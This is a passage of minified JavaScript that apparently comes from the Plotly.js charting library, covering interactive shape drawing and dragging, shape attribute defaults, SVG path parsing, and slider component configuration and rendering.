Y;if((X||n._context.edits.shapePosition)&&(Y=a(n.layout,"shapes",I)),X){V.style({cursor:"move"});var Q={element:V.node(),plotinfo:k,gd:n,editHelpers:Y,hasText:I.label.text||I.label.texttemplate,isActiveShape:!0},ie=S(O,n);d(ie,V,Q)}else n._context.edits.shapePosition?w(n,V,I,C,F,Y):I.editable===!0&&V.style("pointer-events",fe||r.opacity(G)*N<=.5?"stroke":"all");V.node().addEventListener("click",function(){return p(n,V)})}}function T(n,C,x){var I=(x.xref+x.yref).replace(/paper/g,"").replace(/[xyz][1-9]* *domain/g,"");f.setClipUrl(n,I?"clip"+C._fullLayout._uid+I:null,C)}function w(n,C,x,I,k,B){var _=10,F=10,O=x.xsizemode==="pixel",z=x.ysizemode==="pixel",N=x.type==="line",G=x.type==="path",J=B.modifyItem,q,ne,fe,X,W,V,Y,Q,ie,j,K,oe,re,le,pe,we=M.select(C.node().parentNode),xe=L.getFromId(n,x.xref),ke=L.getRefType(x.xref),_e=L.getFromId(n,x.yref),be=L.getRefType(x.yref),ge=y.getDataToPixel(n,xe,!1,ke),Te=y.getDataToPixel(n,_e,!0,be),Fe=y.getPixelToData(n,xe,!1,ke),Oe=y.getPixelToData(n,_e,!0,be),Ce=Xe(),Be={element:Ce.node(),gd:n,prepFn:st,doneFn:lt,clickFn:ut},$e;l.init(Be),Ce.node().onmousemove=Ke;function Xe(){return N?Ze():C}function Ze(){var Pe=10,De=Math.max(x.line.width,Pe),Ee=k.append("g").attr("data-index",I).attr("drag-helper",!0);Ee.append("path").attr("d",C.attr("d")).style({cursor:"move","stroke-width":De,"stroke-opacity":"0"});var ye={"fill-opacity":"0"},ae=Math.max(De/2,Pe);return Ee.append("circle").attr({"data-line-point":"start-point",cx:O?ge(x.xanchor)+x.x0:ge(x.x0),cy:z?Te(x.yanchor)-x.y0:Te(x.y0),r:ae}).style(ye).classed("cursor-grab",!0),Ee.append("circle").attr({"data-line-point":"end-point",cx:O?ge(x.xanchor)+x.x1:ge(x.x1),cy:z?Te(x.yanchor)-x.y1:Te(x.y1),r:ae}).style(ye).classed("cursor-grab",!0),Ee}function Ke(Pe){if(h(n)){$e=null;return}if(N)Pe.target.tagName==="path"?$e="move":$e=Pe.target.attributes["data-line-point"].value==="start-point"?"resize-over-start-point":"resize-over-end-point";else{var De=Be.element.getBoundingClientRect(),Ee=De.right-De.left,ye=De.bottom-De.top,ae=Pe.clientX-De.left,de=Pe.clientY-De.top,Me=!G&&Ee>_&&ye>F&&!Pe.shiftKey?l.getCursor(ae/Ee,1-de/ye):"move";u(C,Me),$e=Me.split("-")[0]}}function st(Pe){h(n)||(O&&(W=ge(x.xanchor)),z&&(V=Te(x.yanchor)),x.type==="path"?pe=x.path:(q=O?x.x0:ge(x.x0),ne=z?x.y0:Te(x.y0),fe=O?x.x1:ge(x.x1),X=z?x.y1:Te(x.y1)),q<fe?(ie=q,re="x0",j=fe,le="x1"):(ie=fe,re="x1",j=q,le="x0"),!z&&ne<X||z&&ne>X?(Y=ne,K="y0",Q=X,oe="y1"):(Y=X,K="y1",Q=ne,oe="y0"),Ke(Pe),Ot(k,x),Le(C,x,n),Be.moveFn=$e==="move"?yt:bt,Be.altKey=Pe.altKey)}function lt(){h(n)||(u(C),Ge(k),T(C,n,x),P.call("_guiRelayout",n,B.getUpdateObj()))}function ut(){h(n)||Ge(k)}function yt(Pe,De){if(x.type==="path"){var Ee=function(de){return de},ye=Ee,ae=Ee;O?J("xanchor",x.xanchor=Fe(W+Pe)):(ye=function(Me){return Fe(ge(Me)+Pe)},xe&&xe.type==="date"&&(ye=y.encodeDate(ye))),z?J("yanchor",x.yanchor=Oe(V+De)):(ae=function(Me){return Oe(Te(Me)+De)},_e&&_e.type==="date"&&(ae=y.encodeDate(ae))),J("path",x.path=E(pe,ye,ae))}else O?J("xanchor",x.xanchor=Fe(W+Pe)):(J("x0",x.x0=Fe(q+Pe)),J("x1",x.x1=Fe(fe+Pe))),z?J("yanchor",x.yanchor=Oe(V+De)):(J("y0",x.y0=Oe(ne+De)),J("y1",x.y1=Oe(X+De)));C.attr("d",c(n,x)),Ot(k,x),g(n,I,x,we)}function bt(Pe,De){if(G){var Ee=function(ct){return ct},ye=Ee,ae=Ee;O?J("xanchor",x.xanchor=Fe(W+Pe)):(ye=function(Vt){return Fe(ge(Vt)+Pe)},xe&&xe.type==="date"&&(ye=y.encodeDate(ye))),z?J("yanchor",x.yanchor=Oe(V+De)):(ae=function(Vt){return Oe(Te(Vt)+De)},_e&&_e.type==="date"&&(ae=y.encodeDate(ae))),J("path",x.path=E(pe,ye,ae))}else if(N){if($e==="resize-over-start-point"){var de=q+Pe,Me=z?ne-De:ne+De;J("x0",x.x0=O?de:Fe(de)),J("y0",x.y0=z?Me:Oe(Me))}else if($e==="resize-over-end-point"){var Ie=fe+Pe,Qe=z?X-De:X+De;J("x1",x.x1=O?Ie:Fe(Ie)),J("y1",x.y1=z?Qe:Oe(Qe))}}else{var et=function(ct){return $e.indexOf(ct)!==-1},pt=et("n"),St=et("s"),_t=et("w"),Ft=et("e"),Tt=pt?Y+De:Y,Gt=St?Q+De:Q,er=_t?ie+Pe:ie,Pr=Ft?j+Pe:j;z&&(pt&&(Tt=Y-De),St&&(Gt=Q-De)),(!z&&Gt-Tt>F||z&&Tt-Gt>F)&&(J(K,x[K]=z?Tt:Oe(Tt)),J(oe,x[oe]=z?Gt:Oe(Gt))),Pr-er>_&&(J(re,x[re]=O?er:Fe(er)),J(le,x[le]=O?Pr:Fe(Pr)))}C.attr("d",c(n,x)),Ot(k,x),g(n,I,x,we)}function Ot(Pe,De){(O||z)&&Ee();function Ee(){var ye=De.type!=="path",ae=Pe.selectAll(".visual-cue").data([0]),de=1;ae.enter().append("path").attr({fill:"#fff","fill-rule":"evenodd",stroke:"#000","stroke-width":de}).classed("visual-cue",!0);var Me=ge(O?De.xanchor:o.midRange(ye?[De.x0,De.x1]:y.extractPathCoords(De.path,s.paramIsX))),Ie=Te(z?De.yanchor:o.midRange(ye?[De.y0,De.y1]:y.extractPathCoords(De.path,s.paramIsY)));if(Me=y.roundPositionForSharpStrokeRendering(Me,de),Ie=y.roundPositionForSharpStrokeRendering(Ie,de),O&&z){var Qe="M"+(Me-1-de)+","+(Ie-1-de)+"h-8v2h8 v8h2v-8 h8v-2h-8 v-8h-2 Z";ae.attr("d",Qe)}else if(O){var et="M"+(Me-1-de)+","+(Ie-9-de)+"v18 h2 v-18 Z";ae.attr("d",et)}else{var pt="M"+(Me-9-de)+","+(Ie-1-de)+"h18 v2 h-18 Z";ae.attr("d",pt)}}}function Ge(Pe){Pe.selectAll(".visual-cue").remove()}function Le(Pe,De,Ee){var ye=De.xref,ae=De.yref,de=L.getFromId(Ee,ye),Me=L.getFromId(Ee,ae),Ie="";ye!=="paper"&&!de.autorange&&(Ie+=ye),ae!=="paper"&&!Me.autorange&&(Ie+=ae),f.setClipUrl(Pe,Ie?"clip"+Ee._fullLayout._uid+Ie:null,Ee)}}function E(n,C,x){return n.replace(s.segmentRE,function(I){var k=0,B=I.charAt(0),_=s.paramIsX[B],F=s.paramIsY[B],O=s.numParams[B],z=I.substr(1).replace(s.paramRE,function(N){return k>=O||(_[k]?N=C(N):F[k]&&(N=x(N)),k++),N});return B+z})}function p(n,C){if(i(n)){var x=C.node(),I=+x.getAttribute("data-index");if(I>=0){if(I===n._fullLayout._activeShapeIndex){A(n);return}n._fullLayout._activeShapeIndex=I,n._fullLayout._deactivateShape=A,b(n)}}}function A(n){if(i(n)){var C=n._fullLayout._activeShapeIndex;C>=0&&(t(n),delete n._fullLayout._activeShapeIndex,b(n))}}function m(n){if(i(n)){t(n);var C=n._fullLayout._activeShapeIndex,x=(n.layout||{}).shapes||[];if(C<x.length){for(var I=[],k=0;k<x.length;k++)k!==C&&I.push(x[k]);return delete n._fullLayout._activeShapeIndex,P.call("_guiRelayout",n,{shapes:I})}}}},29241:function(te,Z,e){var M=e(30962).overrideAll,P=e(9012),o=e(41940),L=e(79952).P,S=e(1426).extendFlat,d=e(5386).R,g=e(37281);te.exports=M({newshape:{visible:S({},P.visible,{}),showlegend:{valType:"boolean",dflt:!1},legend:S({},P.legend,{}),legendgroup:S({},P.legendgroup,{}),legendgrouptitle:{text:S({},P.legendgrouptitle.text,{}),font:o({})},legendrank:S({},P.legendrank,{}),legendwidth:S({},P.legendwidth,{}),line:{color:{valType:"color"},width:{valType:"number",min:0,dflt:4},dash:S({},L,{dflt:"solid"})},fillcolor:{valType:"color",dflt:"rgba(0,0,0,0)"},fillrule:{valType:"enumerated",values:["evenodd","nonzero"],dflt:"evenodd"},opacity:{valType:"number",min:0,max:1,dflt:1},layer:{valType:"enumerated",values:["below","above"],dflt:"above"},drawdirection:{valType:"enumerated",values:["ortho","horizontal","vertical","diagonal"],dflt:"diagonal"},name:S({},P.name,{}),label:{text:{valType:"string",dflt:""},texttemplate:d({newshape:!0},{keys:Object.keys(g)}),font:o({}),textposition:{valType:"enumerated",values:["top left","top center","top right","middle left","middle center","middle right","bottom left","bottom center","bottom right","start","middle","end"]},textangle:{valType:"angle",dflt:"auto"},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"auto"},yanchor:{valType:"enumerated",values:["top","middle","bottom"]},padding:{valType:"number",dflt:3,min:0}}},activeshape:{fillcolor:{valType:"color",dflt:"rgb(255,0,255)"},opacity:{valType:"number",min:0,max:1,dflt:.5}}},"none","from-root")},89995:function(te){var Z=32;te.exports={CIRCLE_SIDES:Z,i000:0,i090:Z/4,i180:Z/2,i270:Z/4*3,cos45:Math.cos(Math.PI/4),sin45:Math.sin(Math.PI/4),SQRT2:Math.sqrt(2)}},45547:function(te,Z,e){var M=e(7901),P=e(71828);function o(L,S){return L?"bottom":S.indexOf("top")!==-1?"top":S.indexOf("bottom")!==-1?"bottom":"middle"}te.exports=function(S,d,g){g("newshape.visible"),g("newshape.name"),g("newshape.showlegend"),g("newshape.legend"),g("newshape.legendwidth"),g("newshape.legendgroup"),g("newshape.legendgrouptitle.text"),P.coerceFont(g,"newshape.legendgrouptitle.font"),g("newshape.legendrank"),g("newshape.drawdirection"),g("newshape.layer"),g("newshape.fillcolor"),g("newshape.fillrule"),g("newshape.opacity");var t=g("newshape.line.width");if(t){var r=(S||{}).plot_bgcolor||"#FFF";g("newshape.line.color",M.contrast(r)),g("newshape.line.dash")}var f=S.dragmode==="drawline",a=g("newshape.label.text"),l=g("newshape.label.texttemplate");if(a||l){g("newshape.label.textangle");var u=g("newshape.label.textposition",f?"middle":"middle center");g("newshape.label.xanchor"),g("newshape.label.yanchor",o(f,u)),g("newshape.label.padding"),P.coerceFont(g,"newshape.label.font",d.font)}g("activeshape.fillcolor"),g("activeshape.opacity")}},60165:function(te,Z,e){var M=e(95616),P=e(89995),o=P.CIRCLE_SIDES,L=P.SQRT2,S=e(75549),d=S.p2r,g=S.r2p,t=[0,3,4,5,6,1,2],r=[0,3,4,1,2];Z.writePaths=function(l){var u=l.length;if(!u)return"M0,0Z";for(var s="",y=0;y<u;y++)for(var c=l[y].length,b=0;b<c;b++){var h=l[y][b][0];if(h==="Z")s+="Z";else for(var i=l[y][b].length,v=0;v<i;v++){var T=v;h==="Q"||h==="S"?T=r[v]:h==="C"&&(T=t[v]),s+=l[y][b][T],v>0&&v<i-1&&(s+=",")}}return s},Z.readPaths=function(l,u,s,y){var c=M(l),b=[],h=-1,i=function(){h++,b[h]=[]},v,T=0,w=0,E,p,A=function(){E=T,p=w};A();for(var m=0;m<c.length;m++){var n=[],C,x,I,k,B=c[m][0],_=B;switch(B){case"M":i(),T=+c[m][1],w=+c[m][2],n.push([_,T,w]),A();break;case"Q":case"S":C=+c[m][1],I=+c[m][2],T=+c[m][3],w=+c[m][4],n.push([_,T,w,C,I]);break;case"C":C=+c[m][1],I=+c[m][2],x=+c[m][3],k=+c[m][4],T=+c[m][5],w=+c[m][6],n.push([_,T,w,C,I,x,k]);break;case"T":case"L":T=+c[m][1],w=+c[m][2],n.push([_,T,w]);break;case"H":_="L",T=+c[m][1],n.push([_,T,w]);break;case"V":_="L",w=+c[m][1],n.push([_,T,w]);break;case"A":_="L";var F=+c[m][1],O=+c[m][2];+c[m][4]||(F=-F,O=-O);var z=T-F,N=w;for(v=1;v<=o/2;v++){var G=2*Math.PI*v/o;n.push([_,z+F*Math.cos(G),N+O*Math.sin(G)])}break;case"Z":(T!==E||w!==p)&&(T=E,w=p,n.push([_,T,w]));break}for(var J=(s||{}).domain,q=u._fullLayout._size,ne=s&&s.xsizemode==="pixel",fe=s&&s.ysizemode==="pixel",X=y===!1,W=0;W<n.length;W++){for(v=0;v+2<7;v+=2){var V=n[W][v+1],Y=n[W][v+2];V===void 0||Y===void 0||(T=V,w=Y,s&&(s.xaxis&&s.xaxis.p2r?(X&&(V-=s.xaxis._offset),ne?V=g(s.xaxis,s.xanchor)+V:V=d(s.xaxis,V)):(X&&(V-=q.l),J?V=J.x[0]+V/q.w:V=V/q.w),s.yaxis&&s.yaxis.p2r?(X&&(Y-=s.yaxis._offset),fe?Y=g(s.yaxis,s.yanchor)-Y:Y=d(s.yaxis,Y)):(X&&(Y-=q.t),J?Y=J.y[1]-Y/q.h:Y=1-Y/q.h)),n[W][v+1]=V,n[W][v+2]=Y)}b[h].push(n[W].slice())}}return b};function f(l,u){return Math.abs(l-u)<=1e-6}function a(l,u){var s=u[1]-l[1],y=u[2]-l[2];return Math.sqrt(s*s+y*y)}Z.pointsOnRectangle=function(l){var u=l.length;if(u!==5)return!1;for(var s=1;s<3;s++){var y=l[0][s]-l[1][s],c=l[3][s]-l[2][s];if(!f(y,c))return!1;var b=l[0][s]-l[3][s],h=l[1][s]-l[2][s];if(!f(b,h))return!1}return!f(l[0][1],l[1][1])&&!f(l[0][1],l[3][1])?!1:!!(a(l[0],l[1])*a(l[0],l[3]))},Z.pointsOnEllipse=function(l){var u=l.length;if(u!==o+1)return!1;u=o;for(var s=0;s<u;s++){var y=(u*2-s)%u,c=(u/2+y)%u,b=(u/2+s)%u;if(!f(a(l[s],l[b]),a(l[y],l[c])))return!1}return!0},Z.handleEllipse=function(l,u,s){if(!l)return[u,s];var y=Z.ellipseOver({x0:u[0],y0:u[1],x1:s[0],y1:s[1]}),c=(y.x1+y.x0)/2,b=(y.y1+y.y0)/2,h=(y.x1-y.x0)/2,i=(y.y1-y.y0)/2;h||(h=i=i/L),i||(i=h=h/L);for(var v=[],T=0;T<o;T++){var w=T*2*Math.PI/o;v.push([c+h*Math.cos(w),b+i*Math.sin(w)])}return v},Z.ellipseOver=function(l){var u=l.x0,s=l.y0,y=l.x1,c=l.y1,b=y-u,h=c-s;u-=b,s-=h;var i=(u+y)/2,v=(s+c)/2,T=L;return b*=T,h*=T,{x0:i-b,y0:v-h,x1:i+b,y1:v+h}},Z.fixDatesForPaths=function(l,u,s){var y=u.type==="date",c=s.type==="date";if(!y&&!c)return l;for(var b=0;b<l.length;b++)for(var h=0;h<l[b].length;h++)for(var i=0;i+2<l[b][h].length;i+=2)y&&(l[b][h][i+1]=l[b][h][i+1].replace(" ","_")),c&&(l[b][h][i+2]=l[b][h][i+2].replace(" ","_"));return l}},90551:function(te,Z,e){var M=e(64505),P=M.drawMode,o=M.openMode,L=e(89995),S=L.i000,d=L.i090,g=L.i180,t=L.i270,r=L.cos45,f=L.sin45,a=e(75549),l=a.p2r,u=a.r2p,s=e(51873),y=s.clearOutline,c=e(60165),b=c.readPaths,h=c.writePaths,i=c.ellipseOver,v=c.fixDatesForPaths;function T(E,p){if(E.length){var A=E[0][0];if(A){var m=p.gd,n=p.isActiveShape,C=p.dragmode,x=(m.layout||{}).shapes||[];if(!P(C)&&n!==void 0){var I=m._fullLayout._activeShapeIndex;if(I<x.length)switch(m._fullLayout.shapes[I].type){case"rect":C="drawrect";break;case"circle":C="drawcircle";break;case"line":C="drawline";break;case"path":var k=x[I].path||"";k[k.length-1]==="Z"?C="drawclosedpath":C="drawopenpath";break}}var B=w(E,p,C);y(m);for(var _=p.editHelpers,F=(_||{}).modifyItem,O=[],z=0;z<x.length;z++){var N=m._fullLayout.shapes[z];if(O[z]=N._input,n!==void 0&&z===m._fullLayout._activeShapeIndex){var G=B;switch(N.type){case"line":case"rect":case"circle":F("x0",G.x0),F("x1",G.x1),F("y0",G.y0),F("y1",G.y1);break;case"path":F("path",G.path);break}}}return n===void 0?(O.push(B),O):_?_.getUpdateObj():{}}}}function w(E,p,A){var m=E[0][0],n=p.gd,C=m.getAttribute("d"),x=n._fullLayout.newshape,I=p.plotinfo,k=p.isActiveShape,B=I.xaxis,_=I.yaxis,F=!!I.domain||!I.xaxis,O=!!I.domain||!I.yaxis,z=o(A),N=b(C,n,I,k),G={editable:!0,visible:x.visible,name:x.name,showlegend:x.showlegend,legend:x.legend,legendwidth:x.legendwidth,legendgroup:x.legendgroup,legendgrouptitle:{text:x.legendgrouptitle.text,font:x.legendgrouptitle.font},legendrank:x.legendrank,label:x.label,xref:F?"paper":B._id,yref:O?"paper":_._id,layer:x.layer,opacity:x.opacity,line:{color:x.line.color,width:x.line.width,dash:x.line.dash}};z||(G.fillcolor=x.fillcolor,G.fillrule=x.fillrule);var J;if(N.length===1&&(J=N[0]),J&&J.length===5&&A==="drawrect")G.type="rect",G.x0=J[0][1],G.y0=J[0][2],G.x1=J[2][1],G.y1=J[2][2];else if(J&&A==="drawline")G.type="line",G.x0=J[0][1],G.y0=J[0][2],G.x1=J[1][1],G.y1=J[1][2];else if(J&&A==="drawcircle"){G.type="circle";var q=J[S][1],ne=J[d][1],fe=J[g][1],X=J[t][1],W=J[S][2],V=J[d][2],Y=J[g][2],Q=J[t][2],ie=I.xaxis&&(I.xaxis.type==="date"||I.xaxis.type==="log"),j=I.yaxis&&(I.yaxis.type==="date"||I.yaxis.type==="log");ie&&(q=u(I.xaxis,q),ne=u(I.xaxis,ne),fe=u(I.xaxis,fe),X=u(I.xaxis,X)),j&&(W=u(I.yaxis,W),V=u(I.yaxis,V),Y=u(I.yaxis,Y),Q=u(I.yaxis,Q));var K=(ne+X)/2,oe=(W+Y)/2,re=(X-ne+fe-q)/2,le=(Q-V+Y-W)/2,pe=i({x0:K,y0:oe,x1:K+re*r,y1:oe+le*f});ie&&(pe.x0=l(I.xaxis,pe.x0),pe.x1=l(I.xaxis,pe.x1)),j&&(pe.y0=l(I.yaxis,pe.y0),pe.y1=l(I.yaxis,pe.y1)),G.x0=pe.x0,G.y0=pe.y0,G.x1=pe.x1,G.y1=pe.y1}else G.type="path",B&&_&&v(N,B,_),G.path=h(N),J=null;return G}te.exports={newShapes:T,createShapeObj:w}},51873:function(te){function Z(M){var P=M._fullLayout._zoomlayer;P&&P.selectAll(".outline-controllers").remove()}function e(M){var P=M._fullLayout._zoomlayer;P&&P.selectAll(".select-outline").remove(),M._fullLayout._outlining=!1}te.exports={clearOutlineControllers:Z,clearOutline:e}},30477:function(te,Z,e){var M=e(21459),P=e(71828),o=e(89298);Z.rangeToShapePosition=function(S){return S.type==="log"?S.r2d:function(d){return d}},Z.shapePositionToRange=function(S){return S.type==="log"?S.d2r:function(d){return d}},Z.decodeDate=function(S){return function(d){return d.replace&&(d=d.replace("_"," ")),S(d)}},Z.encodeDate=function(S){return function(d){return S(d).replace(" ","_")}},Z.extractPathCoords=function(S,d,g){var t=[],r=S.match(M.segmentRE);return r.forEach(function(f){var a=d[f.charAt(0)].drawn;if(a!==void 0){var l=f.substr(1).match(M.paramRE);if(!(!l||l.length<a)){var u=l[a],s=g?u:P.cleanNumber(u);t.push(s)}}}),t},Z.getDataToPixel=function(S,d,g,t){var r=S._fullLayout._size,f;if(d)if(t==="domain")f=function(l){return d._length*(g?1-l:l)+d._offset};else{var a=Z.shapePositionToRange(d);f=function(l){return d._offset+d.r2p(a(l,!0))},d.type==="date"&&(f=Z.decodeDate(f))}else g?f=function(l){return r.t+r.h*(1-l)}:f=function(l){return r.l+r.w*l};return f},Z.getPixelToData=function(S,d,g,t){var r=S._fullLayout._size,f;if(d)if(t==="domain")f=function(l){var u=(l-d._offset)/d._length;return g?1-u:u};else{var a=Z.rangeToShapePosition(d);f=function(l){return a(d.p2r(l-d._offset))}}else g?f=function(l){return 1-(l-r.t)/r.h}:f=function(l){return(l-r.l)/r.w};return f},Z.roundPositionForSharpStrokeRendering=function(S,d){var g=Math.round(d%2)===1,t=Math.round(S);return g?t+.5:t},Z.makeShapesOptionsAndPlotinfo=function(S,d){var g=S._fullLayout.shapes[d]||{},t=S._fullLayout._plots[g.xref+g.yref],r=!!t;return r?t._hadPlotinfo=!0:(t={},g.xref&&g.xref!=="paper"&&(t.xaxis=S._fullLayout[g.xref+"axis"]),g.yref&&g.yref!=="paper"&&(t.yaxis=S._fullLayout[g.yref+"axis"])),t.xsizemode=g.xsizemode,t.ysizemode=g.ysizemode,t.xanchor=g.xanchor,t.yanchor=g.yanchor,{options:g,plotinfo:t}},Z.makeSelectionsOptionsAndPlotinfo=function(S,d){var g=S._fullLayout.selections[d]||{},t=S._fullLayout._plots[g.xref+g.yref],r=!!t;return r?t._hadPlotinfo=!0:(t={},g.xref&&(t.xaxis=S._fullLayout[g.xref+"axis"]),g.yref&&(t.yaxis=S._fullLayout[g.yref+"axis"])),{options:g,plotinfo:t}},Z.getPathString=function(S,d){var g=d.type,t=o.getRefType(d.xref),r=o.getRefType(d.yref),f=o.getFromId(S,d.xref),a=o.getFromId(S,d.yref),l=S._fullLayout._size,u,s,y,c,b,h,i,v;if(f?t==="domain"?s=function(I){return f._offset+f._length*I}:(u=Z.shapePositionToRange(f),s=function(I){return f._offset+f.r2p(u(I,!0))}):s=function(I){return l.l+l.w*I},a?r==="domain"?c=function(I){return a._offset+a._length*(1-I)}:(y=Z.shapePositionToRange(a),c=function(I){return a._offset+a.r2p(y(I,!0))}):c=function(I){return l.t+l.h*(1-I)},g==="path")return f&&f.type==="date"&&(s=Z.decodeDate(s)),a&&a.type==="date"&&(c=Z.decodeDate(c)),L(d,s,c);if(d.xsizemode==="pixel"){var T=s(d.xanchor);b=T+d.x0,h=T+d.x1}else b=s(d.x0),h=s(d.x1);if(d.ysizemode==="pixel"){var w=c(d.yanchor);i=w-d.y0,v=w-d.y1}else i=c(d.y0),v=c(d.y1);if(g==="line")return"M"+b+","+i+"L"+h+","+v;if(g==="rect")return"M"+b+","+i+"H"+h+"V"+v+"H"+b+"Z";var E=(b+h)/2,p=(i+v)/2,A=Math.abs(E-b),m=Math.abs(p-i),n="A"+A+","+m,C=E+A+","+p,x=E+","+(p-m);return"M"+C+n+" 0 1,1 "+x+n+" 0 0,1 "+C+"Z"};function L(S,d,g){var t=S.path,r=S.xsizemode,f=S.ysizemode,a=S.xanchor,l=S.yanchor;return t.replace(M.segmentRE,function(u){var s=0,y=u.charAt(0),c=M.paramIsX[y],b=M.paramIsY[y],h=M.numParams[y],i=u.substr(1).replace(M.paramRE,function(v){return c[s]?r==="pixel"?v=d(a)+Number(v):v=d(v):b[s]&&(f==="pixel"?v=g(l)-Number(v):v=g(v)),s++,s>h&&(v="X"),v});return s>h&&(i=i.replace(/[\s,]*X.*/,""),P.log("Ignoring extra params in segment "+u)),y+i})}},89853:function(te,Z,e){var M=e(34031);te.exports={moduleType:"component",name:"shapes",layoutAttributes:e(89827),supplyLayoutDefaults:e(84726),supplyDrawNewShapeDefaults:e(45547),includeBasePlot:e(76325)("shapes"),calcAutorange:e(5627),draw:M.draw,drawOne:M.drawOne}},37281:function(te){function Z(u,s){return s?s.d2l(u):u}function e(u,s){return s?s.l2d(u):u}function M(u){return u.x0}function P(u){return u.x1}function o(u){return u.y0}function L(u){return u.y1}function S(u,s){return Z(u.x1,s)-Z(u.x0,s)}function d(u,s,y){return Z(u.y1,y)-Z(u.y0,y)}function g(u,s){return Math.abs(S(u,s))}function t(u,s,y){return Math.abs(d(u,s,y))}function r(u,s,y){return u.type!=="line"?void 0:Math.sqrt(Math.pow(S(u,s),2)+Math.pow(d(u,s,y),2))}function f(u,s){return e((Z(u.x1,s)+Z(u.x0,s))/2,s)}function a(u,s,y){return e((Z(u.y1,y)+Z(u.y0,y))/2,y)}function l(u,s,y){return u.type!=="line"?void 0:d(u,s,y)/S(u,s)}te.exports={x0:M,x1:P,y0:o,y1:L,slope:l,dx:S,dy:d,width:g,height:t,length:r,xcenter:f,ycenter:a}},75067:function(te,Z,e){var M=e(41940),P=e(35025),o=e(1426).extendDeepAll,L=e(30962).overrideAll,S=e(85594),d=e(44467).templatedArray,g=e(98292),t=d("step",{visible:{valType:"boolean",dflt:!0},method:{valType:"enumerated",values:["restyle","relayout","animate","update","skip"],dflt:"restyle"},args:{valType:"info_array",freeLength:!0,items:[{valType:"any"},{valType:"any"},{valType:"any"}]},label:{valType:"string"},value:{valType:"string"},execute:{valType:"boolean",dflt:!0}});te.exports=L(d("slider",{visible:{valType:"boolean",dflt:!0},active:{valType:"number",min:0,dflt:0},steps:t,lenmode:{valType:"enumerated",values:["fraction","pixels"],dflt:"fraction"},len:{valType:"number",min:0,dflt:1},x:{valType:"number",min:-2,max:3,dflt:0},pad:o(P({editType:"arraydraw"}),{},{t:{dflt:20}}),xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"left"},y:{valType:"number",min:-2,max:3,dflt:0},yanchor:{valType:"enumerated",values:["auto","top","middle","bottom"],dflt:"top"},transition:{duration:{valType:"number",min:0,dflt:150},easing:{valType:"enumerated",values:S.transition.easing.values,dflt:"cubic-in-out"}},currentvalue:{visible:{valType:"boolean",dflt:!0},xanchor:{valType:"enumerated",values:["left","center","right"],dflt:"left"},offset:{valType:"number",dflt:10},prefix:{valType:"string"},suffix:{valType:"string"},font:M({})},font:M({}),activebgcolor:{valType:"color",dflt:g.gripBgActiveColor},bgcolor:{valType:"color",dflt:g.railBgColor},bordercolor:{valType:"color",dflt:g.railBorderColor},borderwidth:{valType:"number",min:0,dflt:g.railBorderWidth},ticklen:{valType:"number",min:0,dflt:g.tickLength},tickcolor:{valType:"color",dflt:g.tickColor},tickwidth:{valType:"number",min:0,dflt:1},minorticklen:{valType:"number",min:0,dflt:g.minorTickLength}}),"arraydraw","from-root")},98292:function(te){te.exports={name:"sliders",containerClassName:"slider-container",groupClassName:"slider-group",inputAreaClass:"slider-input-area",railRectClass:"slider-rail-rect",railTouchRectClass:"slider-rail-touch-rect",gripRectClass:"slider-grip-rect",tickRectClass:"slider-tick-rect",inputProxyClass:"slider-input-proxy",labelsClass:"slider-labels",labelGroupClass:"slider-label-group",labelClass:"slider-label",currentValueClass:"slider-current-value",railHeight:5,menuIndexAttrName:"slider-active-index",autoMarginIdRoot:"slider-",minWidth:30,minHeight:30,textPadX:40,arrowOffsetX:4,railRadius:2,railWidth:5,railBorder:4,railBorderWidth:1,railBorderColor:"#bec8d9",railBgColor:"#f8fafc",railInset:8,stepInset:10,gripRadius:10,gripWidth:20,gripHeight:20,gripBorder:20,gripBorderWidth:1,gripBorderColor:"#bec8d9",gripBgColor:"#f6f8fa",gripBgActiveColor:"#dbdde0",labelPadding:8,labelOffset:0,tickWidth:1,tickColor:"#333",tickOffset:25,tickLength:7,minorTickOffset:25,minorTickColor:"#333",minorTickLength:4,currentValuePadding:8,currentValueInset:0}},12343:function(te,Z,e){var M=e(71828),P=e(85501),o=e(75067),L=e(98292),S=L.name,d=o.steps;te.exports=function(f,a){P(f,a,{name:S,handleItemDefaults:g})};function g(r,f,a){function l(v,T){return M.coerce(r,f,o,v,T)}for(var u=P(r,f,{name:"steps",handleItemDefaults:t}),s=0,y=0;y<u.length;y++)u[y].visible&&s++;var c;if(s<2?c=f.visible=!1:c=l("visible"),!!c){f._stepCount=s;var b=f._visibleSteps=M.filterVisible(u),h=l("active");(u[h]||{}).visible||(f.active=b[0]._index),l("x"),l("y"),M.noneOrAll(r,f,["x","y"]),l("xanchor"),l("yanchor"),l("len"),l("lenmode"),l("pad.t"),l("pad.r"),l("pad.b"),l("pad.l"),M.coerceFont(l,"font",a.font);var i=l("currentvalue.visible");i&&(l("currentvalue.xanchor"),l("currentvalue.prefix"),l("currentvalue.suffix"),l("currentvalue.offset"),M.coerceFont(l,"currentvalue.font",f.font)),l("transition.duration"),l("transition.easing"),l("bgcolor"),l("activebgcolor"),l("bordercolor"),l("borderwidth"),l("ticklen"),l("tickwidth"),l("tickcolor"),l("minorticklen")}}function t(r,f){function a(s,y){return M.coerce(r,f,d,s,y)}var l;if(r.method!=="skip"&&!Array.isArray(r.args)?l=f.visible=!1:l=a("visible"),l){a("method"),a("args");var u=a("label","step-"+f._index);a("value",u),a("execute")}}},44504:function(te,Z,e){var M=e(39898),P=e(74875),o=e(7901),L=e(91424),S=e(71828),d=S.strTranslate,g=e(63893),t=e(44467).arrayEditor,r=e(98292),f=e(18783),a=f.LINE_SPACING,l=f.FROM_TL,u=f.FROM_BR;te.exports=function(F){var O=F._context.staticPlot,z=F._fullLayout,N=y(z,F),G=z._infolayer.selectAll("g."+r.containerClassName).data(N.length>0?[0]:[]);G.enter().append("g").classed(r.containerClassName,!0).style("cursor",O?null:"ew-resize");function J(X){X._commandObserver&&(X._commandObserver.remove(),delete X._commandObserver),P.autoMargin(F,s(X))}if(G.exit().each(function(){M.select(this).selectAll("g."+r.groupClassName).each(J)}).remove(),N.length!==0){var q=G.selectAll("g."+r.groupClassName).data(N,c);q.enter().append("g").classed(r.groupClassName,!0),q.exit().each(J).remove();for(var ne=0;ne<N.length;ne++){var fe=N[ne];b(F,fe)}q.each(function(X){var W=M.select(this);n(X),P.manageCommandObserver(F,X,X._visibleSteps,function(V){var Y=W.data()[0];Y.active!==V.index&&(Y._dragging||p(F,W,Y,V.index,!1,!0))}),h(F,M.select(this),X)})}};function s(_){return 